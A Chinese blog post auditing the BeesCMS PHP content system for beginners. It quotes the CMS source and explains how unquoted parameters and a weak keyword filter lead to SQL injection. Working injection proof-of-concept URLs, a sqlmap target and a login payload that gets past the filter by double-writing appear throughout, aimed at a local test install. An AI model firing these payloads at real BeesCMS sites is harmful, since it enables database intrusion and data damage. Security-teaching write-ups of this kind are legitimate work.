Beescms代码审计(上)
前言
大概几个月前想把自己电脑恢复一下出厂设置,然后在电脑上看看有什么需要备份的,忽然看到这个最初学习代码审计的时候下载的cms,想了想当初好像也就随便看了下,所以这次想完整的把该cms审计一遍,然而想法虽好,在我通读了一些该cms的代码后,发现还是工作量太大,所以我改为通过工具自动审计,然后人工判断,然后在看来大概60条语句后,发现审计欲望已经消失了,然后就一直搁置住了,最近看到当初记录的漏洞点,所以总结一下,看看能不能给新手入门代码审计带来一点帮助。
CMS下载地址
https://github.com/itfooter/beescms
安装
利用phpstudy的集成环境,把cms放在www目录下,访问install目录根据提示进行安装即可
审计过程
首先,审计一个cms需要对代码做一个简单的通读,简单通读后我们就可以了解到该cms是否采用一些全局的防护措施,这样后续代码审计我们就采用相对应的绕过思路。首先来看看index.php这个文件。
<?php/*** $Author: BEESCMS $* ============================================================================* 网站地址: http://www.beescms.com* 您只能在不用于商业目的的前提下对程序代码进行修改和使用;* 不允许对程序代码以任何形式任何目的的再发布。* ============================================================================*///if(!file_exists("data/install.lock")||!file_exists("data/confing.php")){header("location:install/index.php");exit();}define('CMS',true);require_once('includes/init.php');require_once('includes/fun.php');require_once('includes/lib.php');if(file_exists(DATA_PATH.'index_info.php')){include(DATA_PATH.'index_info.php');}//首页配置缓存$lang=isset($_GET['lang'])?$_GET['lang']:'';$index_lang='';//默认首页语言if(!empty($lang_cache)){foreach($lang_cache as $k=>$v){if($_index['index_lang']==$v['id']){$index_lang = $v['lang_tag'];}}}//语言是否使用if(!empty($lang)){$is_lang_use=0;if(!empty($lang_cache)){foreach($lang_cache as $k=>$v){if(($lang==$v['lang_tag'])&&!empty($v['lang_is_use'])){$is_lang_use=1;//已经使用}}}if(empty($is_lang_use)){$lang = $index_lang;}}if(($lang == $index_lang)&&empty($_index['flash_is'])){header("HTTP/1.1 301 Moved Permanently");header("Location: index.php");}//开启flashif(!empty($_index['flash_is'])&&empty($lang)){$lang = $index_lang;$fl_file=(IS_MB)?CMS_PATH.'template/flash_phone.html':CMS_PATH.'template/flash.html';if(!$fl_file){die($language['msg_info']);}if(file_exists(LANG_PATH.'lang_'.$lang.'.php')){include(LANG_PATH.'lang_'.$lang.'.php');}//语言包缓存,数组$languageif(file_exists(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php')){include(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php');}//当前语言下的栏目//默认首页语言网站配置$_confing=get_confing($lang);$tpl->template_dir=TP_PATH.'/';$tpl->template_lang=$lang;if($_confing['is_cache']){$tpl->template_is_cache=1;//缓存$tpl->template_time=$_confing['cache_time']?$_confing['cache_time']:30;//开启缓存但不存在缓存时间使用30秒}else{$tpl->template_is_cache=0;}$tpl->display('flash');//关闭flash引导页}else{//载入语言页$lang = empty($lang)?$index_lang:$lang;if(!empty($lang_cache)){foreach($lang_cache as $l_k=>$l_v){if($l_v['lang_tag']==$lang){$lang_name=$l_v['lang_name'];break;}}}if(file_exists(LANG_PATH.'lang_'.$lang.'.php')){include(LANG_PATH.'lang_'.$lang.'.php');}//语言包缓存,数组$languageif(file_exists(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php')){include(DATA_PATH.'cache_cate/cate_list_'.$lang.'.php');}//当前语言下的栏目//网站配置文件$_confing=get_confing($lang);$index_focus="focus";//获取第一个关键词作为相关内容调用$key_arr = empty($_confing['web_keywords'])?'':explode(',',$_confing['web_keywords']);$relave_key = $key_arr[0];//指向首页$tpl->template_dir=(IS_MB)?TP_PATH.$_confing['phone_template'].'/':TP_PATH.$_confing['web_template'].'/';$tpl->template_lang=$lang;if($_confing['is_cache']){$tpl->template_is_cache=1;//缓存$tpl->template_time=$_confing['cache_time']?$_confing['cache_time']:30;//开启缓存但不存在缓存时间使用30秒}else{$tpl->template_is_cache=0;}$tpl->display('index');}?>
可以看到这里包含了三个文件
而这三个文件中的fun.php是一些自己定义的函数,其中就就包含一些防注入的函数,而这个函数很有可能就是全局防护中所使用到的函数。
知道该cms采用了什么的全局防护,接下来我们就可以利用Seay审计工具做一个全局的自动审计了。
不过建议时间充裕的情况下还是自己做一个全局的代码通读,这样对自己代码审计能力的提升也相对较大。本文只是对前60条语句做了个简单的判断,有兴趣的师傅可以自己再去做一个深入的审计。
两类不同错误导致SQL注入
第一类错误---未使用单引号包裹导致sql注入
第一处后台admin目录下的admin_ajax.php文件
<?php/*** $Author: BEESCMS $* ============================================================================* 网站地址: http://www.beescms.com* 您只能在不用于商业目的的前提下对程序代码进行修改和使用;* 不允许对程序代码以任何形式任何目的的再发布。* ============================================================================*/define('IN_CMS','true');include('init.php');$action=empty($_REQUEST['action'])?'action':$_REQUEST['action'];$lang = $_REQUEST['lang'];$value=$_REQUEST['value'];if($action=='lang_tag'){if(check_str($value,'/[^0-9a-z_]+/')||empty($value)){echo "<span class='err'>只能使用小写字母或数字</span>";exit;}$sql="select id from ".DB_PRE."lang where lang_tag='".$value."'";$num=$GLOBALS['mysql']->fetch_rows($sql);$str=(empty($num))?"<span class='ld_ok'>{$value}可以使用</span>":"<span class='err'>{$value}已经存在,请更换</span>";die($str);}//排序elseif($action=='order'){$table=$_REQUEST['table'];$field = $_REQUEST['field'];$id = intval($_REQUEST['id']);$sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}";echo $sql;$GLOBALS['mysql']->query($sql);//更新缓存if($table=="lang"){$sql="select*from ".DB_PRE."{$table} order by {$field} desc";$rel=$GLOBALS['mysql']->fetch_asc($sql);$cache_file=DATA_PATH.'cache/lang_cache.php';$str="<?php\n\$lang_cache=".var_export($rel,true).";\n?>";}elseif($table=="channel"){$sql="select*from ".DB_PRE."{$table} order by {$field} desc";$rel=$GLOBALS['mysql']->fetch_asc($sql);$cache_file=DATA_PATH.'cache_channel/cache_channel_all.php';$str="<?php\n\$channel=".var_export($rel,true).";\n?>";}creat_inc($cache_file,$str);}//判断频道标示elseif($action=='check_channel'){if(check_str($value,'/[^0-9a-z_]+/')||empty($value)){echo "<span class='err'>只能使用小写字母或数字</span>";exit;}$sql="select id from ".DB_PRE."channel where channel_mark='{$value}'";$num=$GLOBALS['mysql']->fetch_rows($sql);$str=(empty($num))?"<span class='ld_ok'>{$value}可以使用</span>":"<span class='err'>{$value}已经存在,请更换</span>";die($str);}elseif($action=='check_table'){if(check_str($value,'/[^0-9a-z_]+/')||empty($value)){die("<span class='err'>只能使用小写字母或数字</span>");exit;}$sql="show tables";$tables=$GLOBALS['mysql']->show_tables();$table=DB_PRE.$value;if(in_array($table,$tables)){$num=1;}$str=(empty($num))?"<span class='ld_ok'>{$value}可以使用</span>":"<span class='err'>{$value}已经存在,请更换</span>";die($str);}//开启关闭elseif($action=='is_show'){if(!check_purview('pannel_edit')||!check_purview('form_edit')){return false;}$id = intval($_REQUEST['id']);$table = $_REQUEST['table'];$field = $_REQUEST['field'];$order = $_REQUEST['order'];$value=empty($value)?1:0;$sql="update ".DB_PRE."{$table} set {$field}=".intval($value)." where id={$id}";$GLOBALS['mysql']->query($sql);//更新缓存if($table=="channel"){$sql="select*from ".DB_PRE."{$table} order by {$order} desc";$rel=$GLOBALS['mysql']->fetch_asc($sql);$cache_file=DATA_PATH.'cache_channel/cache_channel_all.php';$str="<?php\n\$channel=".var_export($rel,true).";\n?>";creat_inc($cache_file,$str);}elseif($table=='form'){$form_file=DATA_PATH.'cache_form/form.php';$rel=$GLOBALS['mysql']->fetch_asc("select*from ".DB_PRE."form order by id desc");$cache_str="<?php\n\$form=".var_export($rel,true).";\n?>";cache_write($form_file,$cache_str);}if(empty($value)){$class="qi_yes";$title="开启";}else{$class="qi_no";$title="关闭";}$data="<span onclick=\"click_show(this,'{$value}','{$id}','channel','is_disable','{$lang}','channel_order');\" class=\"{$class}\" title=\"{$title}\"> </span>";die($data);}//删除图片elseif($action=='del_pic'){$file=CMS_PATH.'upload/'.$value;@unlink($file);die("图片成功删除");}//修改图片altelseif($action=='change_pic_alt'){$id= intval($_REQUEST['id']);$val = $_REQUEST['val'];if(empty($id)){die(0);}$val_sql=empty($val)?"pic_alt=''":"pic_alt='".$val."'";$sql="update ".DB_PRE."uppics set ".$val_sql." where id=".$id;$mysql->query($sql);die($id);}//其它操作else{die('没有参数');}echo PW;?>
首先看到11-15行代码
这里包含了一个init.php文件,然后下面是用$_REQUEST的方法接收的参数,那我们跟进init.php文件,看看init.php文件是怎么写的。
其中大多是一些初始化和一些常量,箭头所指可以看到又包含了INC_PATH常量下的fun.php文件,而下面调用了addsl这个函数,这里的INC_PATH常量是includes这个目录,我们可以更具之前简单的代码通读了解到或者直接echo一下,那我们再去看看fun.php这个函数。
在includes目录下找到fun.php可以看到正是我们之前简单通读index.php所了解到的防注入函数。了解到代码使用了什么防护手段,我们再来看看漏洞产生的地方。
在admin_ajax.php文件的第27-46行
可以知道我们自定义的fun.php里面的adds1是调用addslashes这个函数。addslashes函数会对我们用户输入的单引号转义,但是此处利用$_REQUEST接收过来的field参数在写入$sql变量的时候并为被单引号包裹,这里是一个update语句,所以我们可以构造如下poc绕过。
http://192.168.178.1/beescms/admin/admin_ajax.php?action=order&table=admin&field=admin_password=123456%20or%20updatexml(1,concat(0x23,database()),1)%20where%20id=193--+
同类未被单引号包裹问题还存在如下多出地方
admin目录下的admin_book.php文件的88-104行
sqlmap构造如下poc
http://192.168.178.1/beescms/admin/admin_book.php?action=del&lang=cn&id=1*&nav=main&admin_p_nav=main_info
sqlmap结果
插一嘴,像这几个注入点都是update、delete这种对义务比较铭感的语句,大家在正常业务的洞的时候,上sqlmap是会给业务数据带来巨大伤害的,这里是本地搭建的环境,所以sqlmap随便乱跑。
admin目录下的admin_catagory.php文件的150-165行
跟踪一下$parent参数
在admin_catagory.php文件的第16行
还是无其他特殊处理
构造poc如下
http://192.168.178.1/beescms/admin/admin_catagory.php/beescms/admin/admin_catagory.php?action=child&parent=4'&channel_id=2&lang=cn&nav=main&admin_p_nav=main_info
因为好早之前审计的,没有保存截图,所以这里就只简单证明下漏洞存在,不再一一上sqlmap了。
admin目录下的admin_channel.php文件的210-238行
跟踪$cate_id参数在第143行代码处
构造poc如下
http://192.168.178.1/beescms/admin/admin_channel.php?action=del_channel&step=3&id=-9&cate_id=1%27&nav=main&admin_p_nav=main_info%20%20%20%20%20%20#sql%E6%B3%A8%E5%85%A5
上述的sql注入问题都是未被单引号包裹导致的addslashes函数被绕过,接下来就是另外一类问题导致的sql注入。
第二类错误---错误使用防注入函数导致sql注入问题
该注入点在admin目录下的login.php文件
如下是login.php文件代码
/*** $Author: BEESCMS $* ============================================================================* 网站地址: http://www.beescms.com* 您只能在不用于商业目的的前提下对程序代码进行修改和使用;* 不允许对程序代码以任何形式任何目的的再发布。* ============================================================================*/@ini_set('session.use_trans_sid', 0);@ini_set('session.auto_start', 0);@ini_set('session.use_cookies', 1);error_reporting(E_ALL & ~E_NOTICE);$dir_name=str_replace('\\','/',dirname(__FILE__));$admindir=substr($dir_name,strrpos($dir_name,'/')+1);define('CMS_PATH',str_replace($admindir,'',$dir_name));define('INC_PATH',CMS_PATH.'includes/');define('DATA_PATH',CMS_PATH.'data/');include(INC_PATH.'fun.php');include(DATA_PATH.'confing.php');include(INC_PATH.'mysql.class.php');if(file_exists(DATA_PATH.'sys_info.php')){include(DATA_PATH.'sys_info.php');}@header("Content-type: text/html; charset=utf-8");$mysql=new mysql(DB_HOST,DB_USER,DB_PASSWORD,DB_NAME,DB_CHARSET,DB_PCONNECT);session_start();$s_code=empty($_SESSION['code'])?'':$_SESSION['code'];$_SESSION['login_in']=empty($_SESSION['login_in'])?'':$_SESSION['login_in'];$_SESSION['admin']=empty($_SESSION['admin'])?'':$_SESSION['admin'];if($_SESSION['login_in']&&$_SESSION['admin']){header("location:admin.php");}$action=empty($_GET['action'])?'login':$_GET['action'];if($action=='login'){global $_sys;include('template/admin_login.php');}//判断登录elseif($action=='ck_login'){global $submit,$user,$password,$_sys,$code;$submit=$_POST['submit'];$user=fl_html(fl_value($_POST['user']));$password=fl_html(fl_value($_POST['password']));$code=$_POST['code'];if(!isset($submit)){msg('请从登陆页面进入');}if(empty($user)||empty($password)){msg("密码或用户名不能为空");}if(!empty($_sys['safe_open'])){foreach($_sys['safe_open'] as $k=>$v){if($v=='3'){if($code!=$s_code){msg("验证码不正确!");}}}}check_login($user,$password);}elseif($action=='out'){login_out();}
可以发现login.php文件中未包含init.php文件,所以未引用adsl函数来防注入,但是在登录处的地方做了如下处理。
43-44行
调用了fl_value函数,然后再调用了fl_html函数,跟一下这两个函数,来到fun.php文件,如下。
function fl_value($str){if(empty($str)){return;}return preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file|outfile/i','',$str);}define('INC_BEES','B'.'EE'.'SCMS');function fl_html($str){return htmlspecialchars($str);}
可以看到fl_value函数过滤了一些sql注入的关键字,fl_html调用了htmlspecialchars函数。然后我们再看看在哪里判断登录了。
第59行
跟一下check_login这个函数,在fun.php中
这里可以看到存在一个判断用户是否存在,可以看到这里的$user参数虽然被单引号包裹住了,但是我们回想一下之前的防注入的函数,利用preg_replace过滤了一些关键字如下
/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
而preg_replace这个函数也是非常危险的,我们可以利用一些双写的操作进行绕过,然后是htmlspecialchars函数,但是htmlspecialchars函数的作用我们可以看看
它并不会对单引号做出过滤,所以我们还是可以自行输入单引号来闭合语句
所以我们在用户名处构造如下poc
admin' a and nd updatexml(1,concat(0x7e,database(),0x7e),1)#
__EOF__
本文链接: https://www.cnblogs.com/sfsec/p/16462198.html
版权声明: 本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主: 如果您觉得文章对您有帮助,可以点击文章右下角【推荐】一下。您的鼓励是博主的最大动力!

浙公网安备 33010602011771号